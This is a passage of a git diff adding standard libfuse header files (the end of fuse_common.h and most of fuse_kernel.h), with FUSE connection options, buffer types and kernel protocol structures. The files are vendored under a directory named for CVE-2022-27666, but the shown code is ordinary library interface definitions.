FUSE_CAP_ASYNC_DIO is enabled and userspace submits a large + * direct I/O request. In this case the kernel will internally + * split it up into multiple smaller requests and submit them + * to the filesystem concurrently. + * + * Note that the following requests are *not* background + * requests: writeback requests (limited by the kernel's + * flusher algorithm), regular (i.e., synchronous and + * buffered) userspace read/write requests (limited to one per + * thread), asynchronous read requests (Linux's io_submit(2) + * call actually blocks, so these are also limited to one per + * thread). + */ + unsigned max_background; + + /** + * Kernel congestion threshold parameter. If the number of pending + * background requests exceeds this number, the FUSE kernel module will + * mark the filesystem as "congested". This instructs the kernel to + * expect that queued requests will take some time to complete, and to + * adjust its algorithms accordingly (e.g. by putting a waiting thread + * to sleep instead of using a busy-loop). + */ + unsigned congestion_threshold; + + /** + * When FUSE_CAP_WRITEBACK_CACHE is enabled, the kernel is responsible + * for updating mtime and ctime when write requests are received. The + * updated values are passed to the filesystem with setattr() requests. + * However, if the filesystem does not support the full resolution of + * the kernel timestamps (nanoseconds), the mtime and ctime values used + * by kernel and filesystem will differ (and result in an apparent + * change of times after a cache flush). + * + * To prevent this problem, this variable can be used to inform the + * kernel about the timestamp granularity supported by the file-system. + * The value should be power of 10. The default is 1, i.e. full + * nano-second resolution. Filesystems supporting only second resolution + * should set this to 1000000000. + */ + unsigned time_gran; + + /** + * For future use. + */ + unsigned reserved[22]; +}; + +struct fuse_session; +struct fuse_pollhandle; +struct fuse_conn_info_opts; + +/** + * This function parses several command-line options that can be used + * to override elements of struct fuse_conn_info. The pointer returned + * by this function should be passed to the + * fuse_apply_conn_info_opts() method by the file system's init() + * handler. + * + * Before using this function, think twice if you really want these + * parameters to be adjustable from the command line. In most cases, + * they should be determined by the file system internally. + * + * The following options are recognized: + * + * -o max_write=N sets conn->max_write + * -o max_readahead=N sets conn->max_readahead + * -o max_background=N sets conn->max_background + * -o congestion_threshold=N sets conn->congestion_threshold + * -o async_read sets FUSE_CAP_ASYNC_READ in conn->want + * -o sync_read unsets FUSE_CAP_ASYNC_READ in conn->want + * -o atomic_o_trunc sets FUSE_CAP_ATOMIC_O_TRUNC in conn->want + * -o no_remote_lock Equivalent to -o no_remote_flock,no_remote_posix_lock + * -o no_remote_flock Unsets FUSE_CAP_FLOCK_LOCKS in conn->want + * -o no_remote_posix_lock Unsets FUSE_CAP_POSIX_LOCKS in conn->want + * -o [no_]splice_write (un-)sets FUSE_CAP_SPLICE_WRITE in conn->want + * -o [no_]splice_move (un-)sets FUSE_CAP_SPLICE_MOVE in conn->want + * -o [no_]splice_read (un-)sets FUSE_CAP_SPLICE_READ in conn->want + * -o [no_]auto_inval_data (un-)sets FUSE_CAP_AUTO_INVAL_DATA in conn->want + * -o readdirplus=no unsets FUSE_CAP_READDIRPLUS in conn->want + * -o readdirplus=yes sets FUSE_CAP_READDIRPLUS and unsets + * FUSE_CAP_READDIRPLUS_AUTO in conn->want + * -o readdirplus=auto sets FUSE_CAP_READDIRPLUS and + * FUSE_CAP_READDIRPLUS_AUTO in conn->want + * -o [no_]async_dio (un-)sets FUSE_CAP_ASYNC_DIO in conn->want + * -o [no_]writeback_cache (un-)sets FUSE_CAP_WRITEBACK_CACHE in conn->want + * -o time_gran=N sets conn->time_gran + * + * Known options will be removed from *args*, unknown options will be + * passed through unchanged. + * + * @param args argument vector (input+output) + * @return parsed options + **/ +struct fuse_conn_info_opts* fuse_parse_conn_info_opts(struct fuse_args *args); + +/** + * This function applies the (parsed) parameters in *opts* to the + * *conn* pointer. It may modify the following fields: wants, + * max_write, max_readahead, congestion_threshold, max_background, + * time_gran. A field is only set (or unset) if the corresponding + * option has been explicitly set. + */ +void fuse_apply_conn_info_opts(struct fuse_conn_info_opts *opts, + struct fuse_conn_info *conn); + +/** + * Go into the background + * + * @param foreground if true, stay in the foreground + * @return 0 on success, -1 on failure + */ +int fuse_daemonize(int foreground); + +/** + * Get the version of the library + * + * @return the version + */ +int fuse_version(void); + +/** + * Get the full package version string of the library + * + * @return the package version + */ +const char *fuse_pkgversion(void); + +/** + * Destroy poll handle + * + * @param ph the poll handle + */ +void fuse_pollhandle_destroy(struct fuse_pollhandle *ph); + +/* ----------------------------------------------------------- * + * Data buffer * + * ----------------------------------------------------------- */ + +/** + * Buffer flags + */ +enum fuse_buf_flags { + /** + * Buffer contains a file descriptor + * + * If this flag is set, the .fd field is valid, otherwise the + * .mem fields is valid. + */ + FUSE_BUF_IS_FD = (1 << 1), + + /** + * Seek on the file descriptor + * + * If this flag is set then the .pos field is valid and is + * used to seek to the given offset before performing + * operation on file descriptor. + */ + FUSE_BUF_FD_SEEK = (1 << 2), + + /** + * Retry operation on file descriptor + * + * If this flag is set then retry operation on file descriptor + * until .size bytes have been copied or an error or EOF is + * detected. + */ + FUSE_BUF_FD_RETRY = (1 << 3) +}; + +/** + * Buffer copy flags + */ +enum fuse_buf_copy_flags { + /** + * Don't use splice(2) + * + * Always fall back to using read and write instead of + * splice(2) to copy data from one file descriptor to another. + * + * If this flag is not set, then only fall back if splice is + * unavailable. + */ + FUSE_BUF_NO_SPLICE = (1 << 1), + + /** + * Force splice + * + * Always use splice(2) to copy data from one file descriptor + * to another. If splice is not available, return -EINVAL. + */ + FUSE_BUF_FORCE_SPLICE = (1 << 2), + + /** + * Try to move data with splice. + * + * If splice is used, try to move pages from the source to the + * destination instead of copying. See documentation of + * SPLICE_F_MOVE in splice(2) man page. + */ + FUSE_BUF_SPLICE_MOVE = (1 << 3), + + /** + * Don't block on the pipe when copying data with splice + * + * Makes the operations on the pipe non-blocking (if the pipe + * is full or empty). See SPLICE_F_NONBLOCK in the splice(2) + * man page. + */ + FUSE_BUF_SPLICE_NONBLOCK= (1 << 4) +}; + +/** + * Single data buffer + * + * Generic data buffer for I/O, extended attributes, etc... Data may + * be supplied as a memory pointer or as a file descriptor + */ +struct fuse_buf { + /** + * Size of data in bytes + */ + size_t size; + + /** + * Buffer flags + */ + enum fuse_buf_flags flags; + + /** + * Memory pointer + * + * Used unless FUSE_BUF_IS_FD flag is set. + */ + void *mem; + + /** + * File descriptor + * + * Used if FUSE_BUF_IS_FD flag is set. + */ + int fd; + + /** + * File position + * + * Used if FUSE_BUF_FD_SEEK flag is set. + */ + off_t pos; +}; + +/** + * Data buffer vector + * + * An array of data buffers, each containing a memory pointer or a + * file descriptor. + * + * Allocate dynamically to add more than one buffer. + */ +struct fuse_bufvec { + /** + * Number of buffers in the array + */ + size_t count; + + /** + * Index of current buffer within the array + */ + size_t idx; + + /** + * Current offset within the current buffer + */ + size_t off; + + /** + * Array of buffers + */ + struct fuse_buf buf[1]; +}; + +/* Initialize bufvec with a single buffer of given size */ +#define FUSE_BUFVEC_INIT(size__) \ + ((struct fuse_bufvec) { \ + /* .count= */ 1, \ + /* .idx = */ 0, \ + /* .off = */ 0, \ + /* .buf = */ { /* [0] = */ { \ + /* .size = */ (size__), \ + /* .flags = */ (enum fuse_buf_flags) 0, \ + /* .mem = */ NULL, \ + /* .fd = */ -1, \ + /* .pos = */ 0, \ + } } \ + } ) + +/** + * Get total size of data in a fuse buffer vector + * + * @param bufv buffer vector + * @return size of data + */ +size_t fuse_buf_size(const struct fuse_bufvec *bufv); + +/** + * Copy data from one buffer vector to another + * + * @param dst destination buffer vector + * @param src source buffer vector + * @param flags flags controlling the copy + * @return actual number of bytes copied or -errno on error + */ +ssize_t fuse_buf_copy(struct fuse_bufvec *dst, struct fuse_bufvec *src, + enum fuse_buf_copy_flags flags); + +/* ----------------------------------------------------------- * + * Signal handling * + * ----------------------------------------------------------- */ + +/** + * Exit session on HUP, TERM and INT signals and ignore PIPE signal + * + * Stores session in a global variable. May only be called once per + * process until fuse_remove_signal_handlers() is called. + * + * Once either of the POSIX signals arrives, the signal handler calls + * fuse_session_exit(). + * + * @param se the session to exit + * @return 0 on success, -1 on failure + * + * See also: + * fuse_remove_signal_handlers() + */ +int fuse_set_signal_handlers(struct fuse_session *se); + +/** + * Restore default signal handlers + * + * Resets global session. After this fuse_set_signal_handlers() may + * be called again. + * + * @param se the same session as given in fuse_set_signal_handlers() + * + * See also: + * fuse_set_signal_handlers() + */ +void fuse_remove_signal_handlers(struct fuse_session *se); + +/* ----------------------------------------------------------- * + * Compatibility stuff * + * ----------------------------------------------------------- */ + +#if !defined(FUSE_USE_VERSION) || FUSE_USE_VERSION < 30 +# error only API version 30 or greater is supported +#endif + +#ifdef __cplusplus +} +#endif + + +/* + * This interface uses 64 bit off_t. + * + * On 32bit systems please add -D_FILE_OFFSET_BITS=64 to your compile flags! + */ + +#if defined(__GNUC__) && (__GNUC__ > 4 || __GNUC__ == 4 && __GNUC_MINOR__ >= 6) && !defined __cplusplus +_Static_assert(sizeof(off_t) == 8, "fuse: off_t must be 64bit"); +#else +struct _fuse_off_t_must_be_64bit_dummy_struct \ + { unsigned _fuse_off_t_must_be_64bit:((sizeof(off_t) == 8) ? 1 : -1); }; +#endif + +#endif /* FUSE_COMMON_H_ */ diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_kernel.h b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_kernel.h new file mode 100644 index 00000000..018a00a2 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_kernel.h @@ -0,0 +1,848 @@ +/* SPDX-License-Identifier: ((GPL-2.0 WITH Linux-syscall-note) OR BSD-2-Clause) */ +/* + This file defines the kernel interface of FUSE + Copyright (C) 2001-2008 Miklos Szeredi + + This program can be distributed under the terms of the GNU GPL. + See the file COPYING. + + This -- and only this -- header file may also be distributed under + the terms of the BSD Licence as follows: + + Copyright (C) 2001-2007 Miklos Szeredi. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. +*/ + +/* + * This file defines the kernel interface of FUSE + * + * Protocol changelog: + * + * 7.9: + * - new fuse_getattr_in input argument of GETATTR + * - add lk_flags in fuse_lk_in + * - add lock_owner field to fuse_setattr_in, fuse_read_in and fuse_write_in + * - add blksize field to fuse_attr + * - add file flags field to fuse_read_in and fuse_write_in + * - Add ATIME_NOW and MTIME_NOW flags to fuse_setattr_in + * + * 7.10 + * - add nonseekable open flag + * + * 7.11 + * - add IOCTL message + * - add unsolicited notification support + * - add POLL message and NOTIFY_POLL notification + * + * 7.12 + * - add umask flag to input argument of create, mknod and mkdir + * - add notification messages for invalidation of inodes and + * directory entries + * + * 7.13 + * - make max number of background requests and congestion threshold + * tunables + * + * 7.14 + * - add splice support to fuse device + * + * 7.15 + * - add store notify + * - add retrieve notify + * + * 7.16 + * - add BATCH_FORGET request + * - FUSE_IOCTL_UNRESTRICTED shall now return with array of 'struct + * fuse_ioctl_iovec' instead of ambiguous 'struct iovec' + * - add FUSE_IOCTL_32BIT flag + * + * 7.17 + * - add FUSE_FLOCK_LOCKS and FUSE_RELEASE_FLOCK_UNLOCK + * + * 7.18 + * - add FUSE_IOCTL_DIR flag + * - add FUSE_NOTIFY_DELETE + * + * 7.19 + * - add FUSE_FALLOCATE + * + * 7.20 + * - add FUSE_AUTO_INVAL_DATA + * + * 7.21 + * - add FUSE_READDIRPLUS + * - send the requested events in POLL request + * + * 7.22 + * - add FUSE_ASYNC_DIO + * + * 7.23 + * - add FUSE_WRITEBACK_CACHE + * - add time_gran to fuse_init_out + * - add reserved space to fuse_init_out + * - add FATTR_CTIME + * - add ctime and ctimensec to fuse_setattr_in + * - add FUSE_RENAME2 request + * - add FUSE_NO_OPEN_SUPPORT flag + * + * 7.24 + * - add FUSE_LSEEK for SEEK_HOLE and SEEK_DATA support + * + * 7.25 + * - add FUSE_PARALLEL_DIROPS + * + * 7.26 + * - add FUSE_HANDLE_KILLPRIV + * - add FUSE_POSIX_ACL + * + * 7.27 + * - add FUSE_ABORT_ERROR + * + * 7.28 + * - add FUSE_COPY_FILE_RANGE + * - add FOPEN_CACHE_DIR + * - add FUSE_MAX_PAGES, add max_pages to init_out + * - add FUSE_CACHE_SYMLINKS + * + * 7.29 + * - add FUSE_NO_OPENDIR_SUPPORT flag + * + * 7.30 + * - add FUSE_EXPLICIT_INVAL_DATA + * - add FUSE_IOCTL_COMPAT_X32 + * + * 7.31 + * - add FUSE_WRITE_KILL_PRIV flag + */ + +#ifndef _LINUX_FUSE_H +#define _LINUX_FUSE_H + +#ifdef __KERNEL__ +#include +#else +#include +#endif + +/* + * Version negotiation: + * + * Both the kernel and userspace send the version they support in the + * INIT request and reply respectively. + * + * If the major versions match then both shall use the smallest + * of the two minor versions for communication. + * + * If the kernel supports a larger major version, then userspace shall + * reply with the major version it supports, ignore the rest of the + * INIT message and expect a new INIT message from the kernel with a + * matching major version. + * + * If the library supports a larger major version, then it shall fall + * back to the major protocol version sent by the kernel for + * communication and reply with that major version (and an arbitrary + * supported minor version). + */ + +/** Version number of this interface */ +#define FUSE_KERNEL_VERSION 7 + +/** Minor version number of this interface */ +#define FUSE_KERNEL_MINOR_VERSION 31 + +/** The node ID of the root inode */ +#define FUSE_ROOT_ID 1 + +/* Make sure all structures are padded to 64bit boundary, so 32bit + userspace works under 64bit kernels */ + +struct fuse_attr { + uint64_t ino; + uint64_t size; + uint64_t blocks; + uint64_t atime; + uint64_t mtime; + uint64_t ctime; + uint32_t atimensec; + uint32_t mtimensec; + uint32_t ctimensec; + uint32_t mode; + uint32_t nlink; + uint32_t uid; + uint32_t gid; + uint32_t rdev; + uint32_t blksize; + uint32_t padding; +}; + +struct fuse_kstatfs { + uint64_t blocks; + uint64_t bfree; + uint64_t bavail; + uint64_t files; + uint64_t ffree; + uint32_t bsize; + uint32_t namelen; + uint32_t frsize; + uint32_t padding; + uint32_t spare[6]; +}; + +struct fuse_file_lock { + uint64_t start; + uint64_t end; + uint32_t type; + uint32_t pid; /* tgid */ +}; + +/** + * Bitmasks for fuse_setattr_in.valid + */ +#define FATTR_MODE (1 << 0) +#define FATTR_UID (1 << 1) +#define FATTR_GID (1 << 2) +#define FATTR_SIZE (1 << 3) +#define FATTR_ATIME (1 << 4) +#define FATTR_MTIME (1 << 5) +#define FATTR_FH (1 << 6) +#define FATTR_ATIME_NOW (1 << 7) +#define FATTR_MTIME_NOW (1 << 8) +#define FATTR_LOCKOWNER (1 << 9) +#define FATTR_CTIME (1 << 10) + +/** + * Flags returned by the OPEN request + * + * FOPEN_DIRECT_IO: bypass page cache for this open file + * FOPEN_KEEP_CACHE: don't invalidate the data cache on open + * FOPEN_NONSEEKABLE: the file is not seekable + * FOPEN_CACHE_DIR: allow caching this directory + * FOPEN_STREAM: the file is stream-like (no file position at all) + */ +#define FOPEN_DIRECT_IO (1 << 0) +#define FOPEN_KEEP_CACHE (1 << 1) +#define FOPEN_NONSEEKABLE (1 << 2) +#define FOPEN_CACHE_DIR (1 << 3) +#define FOPEN_STREAM (1 << 4) + +/** + * INIT request/reply flags + * + * FUSE_ASYNC_READ: asynchronous read requests + * FUSE_POSIX_LOCKS: remote locking for POSIX file locks + * FUSE_FILE_OPS: kernel sends file handle for fstat, etc... (not yet supported) + * FUSE_ATOMIC_O_TRUNC: handles the O_TRUNC open flag in the filesystem + * FUSE_EXPORT_SUPPORT: filesystem handles lookups of "." and ".." + * FUSE_BIG_WRITES: filesystem can handle write size larger than 4kB + * FUSE_DONT_MASK: don't apply umask to file mode on create operations + * FUSE_SPLICE_WRITE: kernel supports splice write on the device + * FUSE_SPLICE_MOVE: kernel supports splice move on the device + * FUSE_SPLICE_READ: kernel supports splice read on the device + * FUSE_FLOCK_LOCKS: remote locking for BSD style file locks + * FUSE_HAS_IOCTL_DIR: kernel supports ioctl on directories + * FUSE_AUTO_INVAL_DATA: automatically invalidate cached pages + * FUSE_DO_READDIRPLUS: do READDIRPLUS (READDIR+LOOKUP in one) + * FUSE_READDIRPLUS_AUTO: adaptive readdirplus + * FUSE_ASYNC_DIO: asynchronous direct I/O submission + * FUSE_WRITEBACK_CACHE: use writeback cache for buffered writes + * FUSE_NO_OPEN_SUPPORT: kernel supports zero-message opens + * FUSE_PARALLEL_DIROPS: allow parallel lookups and readdir + * FUSE_HANDLE_KILLPRIV: fs handles killing suid/sgid/cap on write/chown/trunc + * FUSE_POSIX_ACL: filesystem supports posix acls + * FUSE_ABORT_ERROR: reading the device after abort returns ECONNABORTED + * FUSE_MAX_PAGES: init_out.max_pages contains the max number of req pages + * FUSE_CACHE_SYMLINKS: cache READLINK responses + * FUSE_NO_OPENDIR_SUPPORT: kernel supports zero-message opendir + * FUSE_EXPLICIT_INVAL_DATA: only invalidate cached pages on explicit request + */ +#define FUSE_ASYNC_READ (1 << 0) +#define FUSE_POSIX_LOCKS (1 << 1) +#define FUSE_FILE_OPS (1 << 2) +#define FUSE_ATOMIC_O_TRUNC (1 << 3) +#define FUSE_EXPORT_SUPPORT (1 << 4) +#define FUSE_BIG_WRITES (1 << 5) +#define FUSE_DONT_MASK (1 << 6) +#define FUSE_SPLICE_WRITE (1 << 7) +#define FUSE_SPLICE_MOVE (1 << 8) +#define FUSE_SPLICE_READ (1 << 9) +#define FUSE_FLOCK_LOCKS (1 << 10) +#define FUSE_HAS_IOCTL_DIR (1 << 11) +#define FUSE_AUTO_INVAL_DATA (1 << 12) +#define FUSE_DO_READDIRPLUS (1 << 13) +#define FUSE_READDIRPLUS_AUTO (1 << 14) +#define FUSE_ASYNC_DIO (1 << 15) +#define FUSE_WRITEBACK_CACHE (1 << 16) +#define FUSE_NO_OPEN_SUPPORT (1 << 17) +#define FUSE_PARALLEL_DIROPS (1 << 18) +#define FUSE_HANDLE_KILLPRIV (1 << 19) +#define FUSE_POSIX_ACL (1 << 20) +#define FUSE_ABORT_ERROR (1 << 21) +#define FUSE_MAX_PAGES (1 << 22) +#define FUSE_CACHE_SYMLINKS (1 << 23) +#define FUSE_NO_OPENDIR_SUPPORT (1 << 24) +#define FUSE_EXPLICIT_INVAL_DATA (1 << 25) + +/** + * CUSE INIT request/reply flags + * + * CUSE_UNRESTRICTED_IOCTL: use unrestricted ioctl + */ +#define CUSE_UNRESTRICTED_IOCTL (1 << 0) + +/** + * Release flags + */ +#define FUSE_RELEASE_FLUSH (1 << 0) +#define FUSE_RELEASE_FLOCK_UNLOCK (1 << 1) + +/** + * Getattr flags + */ +#define FUSE_GETATTR_FH (1 << 0) + +/** + * Lock flags + */ +#define FUSE_LK_FLOCK (1 << 0) + +/** + * WRITE flags + * + * FUSE_WRITE_CACHE: delayed write from page cache, file handle is guessed + * FUSE_WRITE_LOCKOWNER: lock_owner field is valid + * FUSE_WRITE_KILL_PRIV: kill suid and sgid bits + */ +#define FUSE_WRITE_CACHE (1 << 0) +#define FUSE_WRITE_LOCKOWNER (1 << 1) +#define FUSE_WRITE_KILL_PRIV (1 << 2) + +/** + * Read flags + */ +#define FUSE_READ_LOCKOWNER (1 << 1) + +/** + * Ioctl flags + * + * FUSE_IOCTL_COMPAT: 32bit compat ioctl on 64bit machine + * FUSE_IOCTL_UNRESTRICTED: not restricted to well-formed ioctls, retry allowed + * FUSE_IOCTL_RETRY: retry with new iovecs + * FUSE_IOCTL_32BIT: 32bit ioctl + * FUSE_IOCTL_DIR: is a directory + * FUSE_IOCTL_COMPAT_X32: x32 compat ioctl on 64bit machine (64bit time_t) + * + * FUSE_IOCTL_MAX_IOV: maximum of in_iovecs + out_iovecs + */ +#define FUSE_IOCTL_COMPAT (1 << 0) +#define FUSE_IOCTL_UNRESTRICTED (1 << 1) +#define FUSE_IOCTL_RETRY (1 << 2) +#define FUSE_IOCTL_32BIT (1 << 3) +#define FUSE_IOCTL_DIR (1 << 4) +#define FUSE_IOCTL_COMPAT_X32 (1 << 5) + +#define FUSE_IOCTL_MAX_IOV 256 + +/** + * Poll flags + * + * FUSE_POLL_SCHEDULE_NOTIFY: request poll notify + */ +#define FUSE_POLL_SCHEDULE_NOTIFY (1 << 0) + +/** + * Fsync flags + * + * FUSE_FSYNC_FDATASYNC: Sync data only, not metadata + */ +#define FUSE_FSYNC_FDATASYNC (1 << 0) + +enum fuse_opcode { + FUSE_LOOKUP = 1, + FUSE_FORGET = 2, /* no reply */ + FUSE_GETATTR = 3, + FUSE_SETATTR = 4, + FUSE_READLINK = 5, + FUSE_SYMLINK = 6, + FUSE_MKNOD = 8, + FUSE_MKDIR = 9, + FUSE_UNLINK = 10, + FUSE_RMDIR = 11, + FUSE_RENAME = 12, + FUSE_LINK = 13, + FUSE_OPEN = 14, + FUSE_READ = 15, + FUSE_WRITE = 16, + FUSE_STATFS = 17, + FUSE_RELEASE = 18, + FUSE_FSYNC = 20, + FUSE_SETXATTR = 21, + FUSE_GETXATTR = 22, + FUSE_LISTXATTR = 23, + FUSE_REMOVEXATTR = 24, + FUSE_FLUSH = 25, + FUSE_INIT = 26, + FUSE_OPENDIR = 27, + FUSE_READDIR = 28, + FUSE_RELEASEDIR = 29, + FUSE_FSYNCDIR = 30, + FUSE_GETLK = 31, + FUSE_SETLK = 32, + FUSE_SETLKW = 33, + FUSE_ACCESS = 34, + FUSE_CREATE = 35, + FUSE_INTERRUPT = 36, + FUSE_BMAP = 37, + FUSE_DESTROY = 38, + FUSE_IOCTL = 39, + FUSE_POLL = 40, + FUSE_NOTIFY_REPLY = 41, + FUSE_BATCH_FORGET = 42, + FUSE_FALLOCATE = 43, + FUSE_READDIRPLUS = 44, + FUSE_RENAME2 = 45, + FUSE_LSEEK = 46, + FUSE_COPY_FILE_RANGE = 47, + + /* CUSE specific operations */ + CUSE_INIT = 4096 +}; + +enum fuse_notify_code { + FUSE_NOTIFY_POLL = 1, + FUSE_NOTIFY_INVAL_INODE = 2, + FUSE_NOTIFY_INVAL_ENTRY = 3, + FUSE_NOTIFY_STORE = 4, + FUSE_NOTIFY_RETRIEVE = 5, + FUSE_NOTIFY_DELETE = 6, + FUSE_NOTIFY_CODE_MAX +}; + +/* The read buffer is required to be at least 8k, but may be much larger */ +#define FUSE_MIN_READ_BUFFER 8192 + +#define FUSE_COMPAT_ENTRY_OUT_SIZE 120 + +struct fuse_entry_out { + uint64_t nodeid; /* Inode ID */ + uint64_t generation; /* Inode generation: nodeid:gen must + be unique for the fs's lifetime */ + uint64_t entry_valid; /* Cache timeout for the name */ + uint64_t attr_valid; /* Cache timeout for the attributes */ + uint32_t entry_valid_nsec; + uint32_t attr_valid_nsec; + struct fuse_attr attr; +}; + +struct fuse_forget_in { + uint64_t nlookup; +}; + +struct fuse_forget_one { + uint64_t nodeid; + uint64_t nlookup; +}; + +struct fuse_batch_forget_in { + uint32_t count; + uint32_t dummy; +}; + +struct fuse_getattr_in { + uint32_t getattr_flags; + uint32_t dummy; + uint64_t fh; +}; + +#define FUSE_COMPAT_ATTR_OUT_SIZE 96 + +struct fuse_attr_out { + uint64_t attr_valid; /* Cache timeout for the attributes */ + uint32_t attr_valid_nsec; + uint32_t dummy; + struct fuse_attr attr; +}; + +#define FUSE_COMPAT_MKNOD_IN_SIZE 8 + +struct fuse_mknod_in { + uint32_t mode; + uint32_t rdev; + uint32_t umask; + uint32_t padding; +}; + +struct fuse_mkdir_in { + uint32_t mode; + uint32_t umask; +}; + +struct fuse_rename_in { + uint64_t newdir; +}; + +struct fuse_rename2_in { + uint64_t newdir; + uint32_t flags; + uint32_t padding; +}; + +struct fuse_link_in { + uint64_t oldnodeid; +}; + +struct fuse_setattr_in { + uint32_t valid; + uint32_t padding; + uint64_t fh; + uint64_t size; + uint64_t lock_owner; + uint64_t atime; + uint64_t mtime; + uint64_t ctime; + uint32_t atimensec; + uint32_t mtimensec; + uint32_t ctimensec; + uint32_t mode; + uint32_t unused4; + uint32_t uid; + uint32_t gid; + uint32_t unused5; +}; + +struct fuse_open_in { + uint32_t flags; + uint32_t unused; +}; + +struct fuse_create_in { + uint32_t flags; + uint32_t mode; + uint32_t umask; + uint32_t padding; +}; + +struct fuse_open_out { + uint64_t fh; + uint32_t open_flags; + uint32_t padding; +}; + +struct fuse_release_in { + uint64_t fh; + uint32_t flags; + uint32_t release_flags; + uint64_t lock_owner; +}; + +struct fuse_flush_in { + uint64_t fh; + uint32_t unused; + uint32_t padding; + uint64_t lock_owner; +}; + +struct fuse_read_in { + uint64_t fh; + uint64_t offset; + uint32_t size; + uint32_t read_flags; + uint64_t lock_owner; + uint32_t flags; + uint32_t padding; +}; + +#define FUSE_COMPAT_WRITE_IN_SIZE 24 + +struct fuse_write_in { + uint64_t fh; + uint64_t offset; + uint32_t size; + uint32_t write_flags; + uint64_t lock_owner; + uint32_t flags; + uint32_t padding; +}; + +struct fuse_write_out { + uint32_t size; + uint32_t padding; +}; + +#define FUSE_COMPAT_STATFS_SIZE 48 + +struct fuse_statfs_out { + struct fuse_kstatfs st; +}; + +struct fuse_fsync_in { + uint64_t fh; + uint32_t fsync_flags; + uint32_t padding; +}; + +struct fuse_setxattr_in { + uint32_t size; + uint32_t flags; +}; + +struct fuse_getxattr_in { + uint32_t size; + uint32_t padding; +}; + +struct fuse_getxattr_out { + uint32_t size; + uint32_t padding; +}; + +struct fuse_lk_in { + uint64_t fh; + uint64_t owner; + struct fuse_file_lock lk; + uint32_t lk_flags; + uint32_t padding; +}; + +struct fuse_lk_out { + struct fuse_file_lock lk; +}; + +struct fuse_access_in { + uint32_t mask; + uint32_t padding; +}; + +struct fuse_init_in { + uint32_t major; + uint32_t minor; + uint32_t max_readahead; + uint32_t flags; +}; + +#define FUSE_COMPAT_INIT_OUT_SIZE 8 +#define FUSE_COMPAT_22_INIT_OUT_SIZE 24 + +struct fuse_init_out { + uint32_t major; + uint32_t minor; + uint32_t max_readahead; + uint32_t flags; + uint16_t max_background; + uint16_t congestion_threshold; + uint32_t max_write; + uint32_t time_gran; + uint16_t max_pages; + uint16_t padding; + uint32_t unused[8]; +}; + +#define CUSE_INIT_INFO_MAX 4096 + +struct cuse_init_in { + uint32_t major; + uint32_t minor; + uint32_t unused; + uint32_t flags; +}; + +struct cuse_init_out { + uint32_t major; + uint32_t minor; + uint32_t unused; + uint32_t flags; + uint32_t max_read; + uint32_t max_write; + uint32_t dev_major; /* chardev major */ + uint32_t dev_minor; /* chardev minor */ + uint32_t spare[10]; +}; + +struct fuse_interrupt_in { + uint64_t unique; +}; + +struct fuse_bmap_in { + uint64_t block; + uint32_t blocksize; + uint32_t padding; +}; + +struct fuse_bmap_out { + uint64_t block; +}; + +struct fuse_ioctl_in { + uint64_t fh; + uint32_t flags; + uint32_t cmd; + uint64_t arg; + uint32_t in_size; + uint32_t out_size; +}; + +struct fuse_ioctl_iovec { + uint64_t base; + uint64_t len; +}; + +struct fuse_ioctl_out { + int32_t result; + uint32_t flags; + uint32_t in_iovs; + uint32_t out_iovs; +}; + +struct fuse_poll_in { + uint64_t fh; + uint64_t kh; + uint32_t flags; + uint32_t events; +}; + +struct fuse_poll_out { + uint32_t revents; + uint32_t padding; +}; + +struct fuse_notify_poll_wakeup_out { + uint64_t kh; +}; + +struct fuse_fallocate_in { + uint64_t fh; + uint64_t offset; + uint64_t length; + uint32_t mode; + uint32_t padding; +}; + +struct fuse_in_header { + uint32_t len; + uint32_t opcode; + uint64_t unique; + uint64_t nodeid; + uint32_t uid; + uint32_t gid; + uint32_t pid; + uint32_t padding; +}; + +struct fuse_out_header { + uint32_t len; + int32_t error; + uint64_t unique; +}; + +struct fuse_dirent { + uint64_t ino; + uint64_t off; + uint32_t namelen; + uint32_t type; + char name[]; +}; + +#define FUSE_NAME_OFFSET offsetof(struct fuse_dirent, name) +#define FUSE_DIRENT_ALIGN(x) \ + (((x) + sizeof(uint64_t) - 1) & ~(sizeof(uint64_t) - 1)) +#define FUSE_DIRENT_SIZE(d) \ + FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET + (d)->namelen) + +struct fuse_direntplus { + struct fuse_entry_out entry_out; + struct fuse_dirent dirent; +}; + +#define FUSE_NAME_OFFSET_DIRENTPLUS \ + offsetof(struct fuse_direntplus, dirent.name) +#define FUSE_DIRENTPLUS_SIZE(d) \ + FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET_DIRENTPLUS + (d)->dirent.namelen) + +struct fuse_notify_inval_inode_out { + uint64_t ino; + int64_t off; + int64_t len; +}; + +struct fuse_notify_inval_entry_out { + uint64_t parent; + uint32_t namelen; + uint32_t padding; +}; + +struct fuse_notify_delete_out { + uint64_t parent; + uint64_t child; + uint32_t namelen; + uint32_t padding; +}; + +struct fuse_notify_store_out { + uint64_t nodeid; + uint64_t offset; + uint32_t size; + uint32_t padding; +}; + +struct fuse_notify_retrieve_out { + uint64_t notify_unique; + uint64_t nodeid; + uint64_t offset; + uint32_t size; + uint32_t padding; +}; + +/* Matches the size of 